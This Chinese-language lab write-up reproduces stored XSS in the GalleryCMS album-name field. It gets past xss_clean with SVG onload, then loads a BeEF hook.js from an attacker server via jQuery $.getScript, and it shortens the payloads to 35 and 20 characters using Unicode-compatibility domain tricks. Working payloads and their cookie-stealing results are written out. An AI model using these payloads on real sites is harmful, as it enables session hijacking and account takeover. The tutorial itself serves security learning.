声明:以下操作仅供学习测试使用,切勿用于生产环境
文章仅供安全领域的朋友学习使用!!
严禁做违法违纪的事情,责任自负!!
一、前期准备
1.1 环境搭建
- GalleryCMS - 一个相册管理系统
- kali
- beef-xss平台 (kali自带,但2021和2022版没有)
1.2 地址配置
kali 地址:192.168.0.108
本机地址 :192.168.0.103
二、复现
2.1 未限制长度 56字符绕过测试
基础测试
首先用kali 访问本机IP 并打开GalleryCMS,创建一个影集“aaaa”,可看到aaaa处于一个<a>标签中
在GalleryCMS安装文件中查看源代码 application\controllers\album.php
注意144 行的过滤规则:过滤对端空格 | 必须插入字符 | 最大字符长度45 | xss_clean过滤框架
$this->form_validation->set_rules('album_name', 'Album Name', 'trim|required|max_length[45]|xss_clean');
这里的xss_clean 主要就是过滤大量xss标签,并且禁用了所有的on开头属性,以及javascript伪协议等等操作
但有一点值得注意,它没有考虑svg标签
我们先用基础的script alert() 测试一下
不出所料,没有弹窗,被过滤了!<script> --> [removed]
我们再用 svg 标签测试,
<svg/onload=alert()>
成功弹窗,代码被插入进<a>标签
不要疑惑为什么执着于弹窗,这只会弹窗看起来有点捞,这只是最开始的测试,在如果可以完成弹窗动作后,我们就可以尝试执行恶意JS代码。
但由于网站限制最大字符长度45,以及过滤了大量XSS 需要的变量,导致长度很难满足要求,为了能造成更大危害,我们必须要加载外部js。
这里有一点值得注意,GalleryCMS 的前端页面有 jquery,jquery支持$.getScript(),我们可以构造如下payload:
<svg/onload=$.getScript("//")>
实操绕过
接下来我们开始使用beef工具,kali开启beef服务器,用浏览器打开192.168.0.108:3000/ui/panel,192.168.0.108:3000/hook.js。如下:
再构造如下payload
<svg/onload=$.getScript("//192.168.0.108:3000/hook.js")>
- 此时一个新的问题产生,我们在GalleryCMS中添加如上payload影集名,其字符长度超过了45的限制,由于我们是在做白盒实验,所以我们直接更改后端代码限制为85,注意应同时修改数据库中的字符长度限制。
$this->form_validation->set_rules('album_name', 'Album Name', 'trim|required|max_length[85]|xss_clean');
再次尝试插入构造的payload
可见插入成功,同时浏览器已经运行我们的恶意JS,指向hook.js
此时beef以上线成功,我们已经可以看到用户cookie!
同时,我们已经可以再GalleryCMS的数据库中看到我们的恶意代码:
当然我们现在是在内网做白盒测试,并且修改了源代码,接下来我们将升级过滤规则,实验更高难度的测试。
2.2 限制长度35字符绕过
问题梳理:
承接上文问题点,我们的beef 的payload 长度超过了45,实际环境中不可能让我们去修改源代码,因此解决长度问题成为我们的首要任务!
解决方式:
接下来我们尝试不用ip访问,注册一个短域名,把短域名绑定到我们的服务器上,给服务器装上bef,再把beef 的hook.js 写在网站的index.html上,将index.html 放到服务器上,这样访问我们的短域名则默认指向 index.html,即 将 "// XXXXX:3000/hook.js" 缩短至 "//XXXXX" ,这样即可最大化的缩短长度!
- 那么此时有将产生一个新的问题:我们要搞一个多短的域名呢?
- 像 a.cn / a.com / cbc.com 这样的短域名,都可以在北京买房了,明显是我们买不下的,成本忒高了!
这里我们先看一下35个字符能留给我们的只有aaaaa 这样 5 个字符的发挥空间。
此时字符长度仍是我们最大的问题,貌似像abc.cn 这样的5 字符短域名我们是买法买下的,但凡事都不绝对,一切皆有可能:”Exploiting XSS with 20 characters limitation“,这是一个外国大佬写的关于 20 字符绕过的文章,里面涉及到如下奇怪的技术:
ff expands to `ff`
℠ expands to `sm`
㏛ expands to `sr`
st expands to `st`
㎭ expands to `rad`
℡ expands to `tel`
- 利用Unicode兼容性实现XSS漏洞
- 在Unicode字符下,像 ℡ 这个字符被浏览器视为一个字符
既然有这种骚操作,我们的可操作性将大大增加。例如:我们可以注册一个 telff.cn 这样的域名,浏览器会将tel和ff 视为两个字符,总共就是5个字符!这样就满足了我们上文提到的5个字符的发挥空间!
绕过实操
首先我这里用到老师提供的服务器(112.xxx.xxx.45)及telsr.co这个域名。(感谢我的周老师!)
服务器上已经配置了beef,我们直接开启beef服务,浏览器进入客户端
将hook.js 写在telsr.co 根目录index.html中,这样访问将直接指向hook.js。效果如下
最后,在CMS创建这个坏坏的影集名 <svg/οnlοad=$.getScript("//℡㏛ .co")>
创建成功,可见指向了我们的beef服务器
beef客户端,成功上线,直接拿到cookie。至此,35字符 svg绕过实现XSS复现。
2.2 限制长度20字符绕过
分析
上文我们实现了用35字符绕过已经达到了<svg>标签的极限,再想缩短到20字符已经无法实现。
因此我们得修改源代码删除xss_clean,解除对<script>标签的限制。
$this->form_validation->set_rules('album_name', 'Album Name', 'trim|required|max_length[20]');
然后构造如下payload,即可实现20字符限制
<script/src=//℡㏛ .co>
注意,因为HTML有自动纠错功能,因此不需要</script>结束标签
绕过实操
同上,创建这个充满恶意的影集名
创建成功,同时可见数据指向了我们的beef服务器
客户端已上线,20字符绕过完美复现!
总结
综上实验操作,我们可以清楚的看到存储型XSS的危险。如果管理员用户访问了我们的页面,恶意代码将在其电脑上执行,我们则可以获得管理员的cookie,这将造成非常严重的危害!!
君子不为那五斗米折腰,智者守住信息安全节操
更多xss基础知识,可参阅: